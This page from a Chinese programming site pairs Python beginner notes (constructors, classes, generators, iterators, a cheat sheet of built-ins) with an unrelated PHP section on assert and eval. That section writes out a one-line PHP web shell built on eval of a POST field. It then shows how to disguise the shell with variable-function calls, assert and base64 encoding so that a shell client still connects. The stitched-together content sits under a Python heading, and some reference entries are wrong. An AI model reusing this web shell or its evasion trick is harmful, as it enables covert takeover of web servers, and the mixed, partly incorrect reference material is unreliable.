程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

python基礎知識點與assert和eval的成功與失敗

編輯:Python

構造函數:

構造函數也被稱為構造器,當創建對象的時候第一個被自動調用的函數,系統默認提供了一個無參的構造函數 per = Person()
語法:

def __ init__(self,arg1,arg2,…):

說明:
之前的寫法中並沒有顯示的定義一個個構造函數,所以系統默認提供了一個無參的構造函數
arg1,arg2,…可以自己定義,但是,一般情況下,構造函數的形參列表和成員變量有關
構造函數的特點:創建對象;給對象的成員變量賦值
構造函數和成員函數之間的區別:
1.成員函數的函數名可以自定義,但是,構造函數的函數名是固定的__init__
2.成員函數需要被手動調用,但是,構造函數在創建對象的過程中是自動被調用的
3.對於同一個對象而言,成員函數可以被調用多次,但是,構造函數只能被調用一次

類與對象的理解與封裝特性:

類:可以理解是一個模板,通過它來創建出無數個具體的實例;類是抽象一類事物的總稱,
對象:類時不可以直接使用的,需要通過類創建的實例才能使用,這個實例也就是對象。
屬性:類中的所有變量稱為屬性
方法:類中的所有函數通常叫做方法

# 定義類的語法結構
class 類名稱(object):
def __init__(self, 屬性列表):
初始化屬性
def 方法名稱(self):
方法的操作代碼
# 使用類來創建對象
變量名稱 = 類名稱(屬性值)

生成器

生成器是python中的一個對象(按照某種規律,來生成元素的對象),生成器不是列表,保存了產生元素的算法,同時會記錄游標的位置(現在拿到第幾個元素了),為了下次繼續拿數據,而不是從頭開始拿數據。可以通過一直調用next()方法獲取值,這個對象不保存數據,每次調用會返回一個值,即做到了列表的好處,又不占用空間。
將列表[]改為()即可稱為生成器
只要把一個列表生成式的[]改成(),就創建了一個generator
generator保存的是算法
每次調用next(g),就計算出g的下一個元素的值,
直到計算到最後一個元素,沒有更多的元素時,拋出StopIteration的錯誤
一直用next調用,一定不是一個好辦法,我們需要用for來調用
for可以將StopIteration處理
因為生成器也是一個可迭代對象
 

我們可以用列表推導(生成式)來初始化一個列表:
list5 = [x for x in range(5)]
print(list5) #output:[0, 1, 2, 3, 4]
用類似的方式來生成一個生成器,只不過我們這次將上面的[ ]換成( ):
gen = (x for x in range(5))
print(gen)
#output: <generator object <genexpr> at 0x0000000000AA20F8>
看到上面print(gen) 並不是直接輸出結果,而是告訴我們這是一個生成器。
調用這個gen有兩個方式:
#1
for item in gen:
print(item)
#output:
0
1
2
3
4
#2
print(next(gen))#output:0
print(next(gen))#output:1
print(next(gen))#output:2
print(next(gen))#output:3
print(next(gen))#output:4
print(next(gen))#output:Traceback (most recent call last):StopIteration

迭代器

迭代是python中訪問集合元素的一種非常強大的一種方式。迭代器是一個可以記住遍歷位置的對象,因此不會像列表那樣一次性全部生成,而是可以等到用的時候才生成,因此節省了大量的內存資源。迭代器對象從集合中的第一個元素開始訪問,直到所有的元素被訪問完。迭代器有兩個方法:iter()和next()方法。
類似於list、tuple、str 等類型的數據可以使用for …… in…… 的循環遍歷語法從其中依次拿到數據並進行使用,我們把這個過程稱為遍歷,也稱迭代。python中可迭代的對象有list(列表)、tuple(元組)、dirt(字典)、str(字符串)set等。
可迭代對象,可以被for循環的數據-----迭代器iter(),iter(),-------生成器 yield [] ()
生成器就是一種迭代器

可以被next調用並不斷返回下一個值的對象稱為迭代器:iterator

it = iter([1,2,3,4])
while True:
try:
res = next(it)
print(res)
except StopIteration as e:
break
>1
>2
>3
>4

python的主要數據類型:

boolean

=

True/ False

interger

=

10

float

=

10.01

string 

=

“123abc”

list

=

[元素1, 元素2, …]

dictionary 

=

{鍵1:值1, 鍵1:值1, …}

算數運算符:

+  

-  

/  

**

取模

//

取整

print(x) 

打印x

input() 

輸入數據

len(x)

返回對象x的長度

min(L)

返回給定參數L的最小值

max(L)

返回給定參數L的最大值

sum(L)

對序列L進行求和計算

range(n1,n2,n)

創建整數列表

abs(n)

返回n的絕對值

round(n)

返回n的四捨五入值

type(x)

返回參數x的數據類型

str(x)

將x轉化為字符串類型

list(x)

將對象x轉化為列表

int(x) 

將對象x轉化為整數

float(x)

將對象x轉化為浮點數

比較運算符:

== 

等於

!=

不等於

>

大於

<

小於

>=

大於或等於

<=

小於或等於

特殊字符

#

單行注釋符

\n

換行符

轉義字符

文字的讀和寫

f=open()

訪問文件

f.read()

讀取文件

f.readline

讀取文本文件中的一行

f.write

向文件中輸入指定字符串

f.close

返回指定的文件夾,包含關閉文件

文件和文件夾的處理

import os

導入標准庫os

os.getcwd()

返回當前工作目錄

os.makedirs()

遞歸創建目錄

os.chdir()

改變當前工作目錄

到指定的路徑

os.listdir()

返回指定的文件夾

包含的文件

字符串操作

String[i] 

訪問第i個的元素

String[-1]

訪問最後一個元素

String[i:j] 

訪問第i至j個元素

字符串的方法

string.upper

返回大寫的字符串

string.lower

返回小寫的字符串

string.count(x)

統計元素x在字符串中出現的次數

string.find(x)

元素x第一次出現的位置

string.replace(x,y)

用元素y代替元素x

string.strip()

刪除開頭和結尾的空白字符

string.join()

將序列中的元素,以指定的字符連接,生成一個新的字符串

string.format(x)

格式化字符串

列表操作

list = []

創建一個空列表

list[i] = x

用位置i存儲x

list[i] 

訪問第i個元素

list[-1] 

 訪問最後一個元素

list[i:j] 

訪問第i至j個元素

del list[i]

刪除第i個元素

字典操作

dict = {} 

創建一個空字典

dict[k] = x   

 設置鍵k的值為x

dict[k] 

 訪問第k個鍵值對的值

del dict[k]

刪除第k個鍵值對

字典方法

dict.keys()

返回字典中的所有鍵

dict.values()

返回所有鍵對應的值

dict.items()

返回字典中所有鍵值對

dict.pop()

刪除字典給定鍵值所對應的值,

返回其值

dict.update(D)

使用字典所包含的鍵值D來更新己有的字典

dict.clear()

刪除字典內所有元素

dict.copy() 

返回一個具有相同鍵值對的新字典

列表方法

list.append(x)  

在列表結尾處添加元素x 

list.extend(L)

在列表結尾處添加列表L

list.insert(i,x) 

在列表位置i添加元素x

list.remove(x)

從列表中刪除元素x

list.pop(i)

刪除列表中位置i的元素,並返回其值

list.clear()

刪除列表中所有元素

list.index(x)

找出列表中元素x對應的索引位置

list.count(x)

統計元素x在列表中出現的次數

list.sort()

對列表排序

list.reverse() 

對列表逆排序

list.copy()

返回賦值的列表

assert和eval的成功與失敗

相同點:

二者都可以執行PHP語句。只不過是,eval規范更加嚴格一些,必須符合PHP代碼要求。而assert則沒有那麼嚴格,執行PHP表達式即可。並不是對assert無計可施,可以采用assert_option()來進行對assert的控制。但是在生產環境強烈建議不使用assert函數(哪怕對其限制,也並不安全)。

不同點:

eval():該函數對於在數據庫文本字段中供日後計算而進行的代碼存儲很有用。(在生產中也建議少用)
注意:1.eval()裡必須是字符串;2.eval()裡的引號必須是雙引號,因為單引號不能解析字符串裡的變量$str;
       eval定義和用法:
(1)eval() 函數把字符串按照 PHP 代碼來計算(計算=執行)。
(2)該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
(3)如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。


    在程序的運行過程中調用assert()來進行判斷表達式,遇到false時程序也是會繼續執行的,這在生產環境中這樣使用是不好的,而 在開發調試環境中,卻是一種debug的不錯的方式。特別是用上callback的方法,可以知道具體的出錯信息。所以,php的官方文檔裡頭是建議將assert用來進行debug,我們可以發現還有一個開關ASSERT_ACTIVE可以用來控制是否開啟debug。
 

assert和eval的案例

寫一段木馬:

<?php @eval($_POST['2']); ?>

 發現很容易實現,但是太明顯了

當我們把代碼拼接一下的時候發現

 

 顯示返回數據為空。這是因為雖然邏輯上這樣的拼接方式按道理最後輸出的也還是<?php @eval($_POST['2']); ?>,但是eval是一個語言構造器而不是一個函數,不能被可變函數調用。

我們把連接密碼換成 1=assert&2 編碼器換成base64時連接成功

但是我們把編碼器換成default時還是會提示返回數據為空

 這是因為我們的eval函數中參數是字符,assert函數中參數為表達式 (或者為函數),比如

assert(eval(‘echo 1;’));//類似這樣
1=assert
2=eval(base64_decode())
$_POST['1']($_POST[2])
assert(eval(base64_decode))

我們多了一個eval函數,實質上我們是在執行assert(eval()),所以是可以執行的。
assert(‘adsadasdsadasdasdsa’) 裡面只有字符串
assert(eval(base64dddddd)); 裡面有eval函數

eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
assert(phpinfo())


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved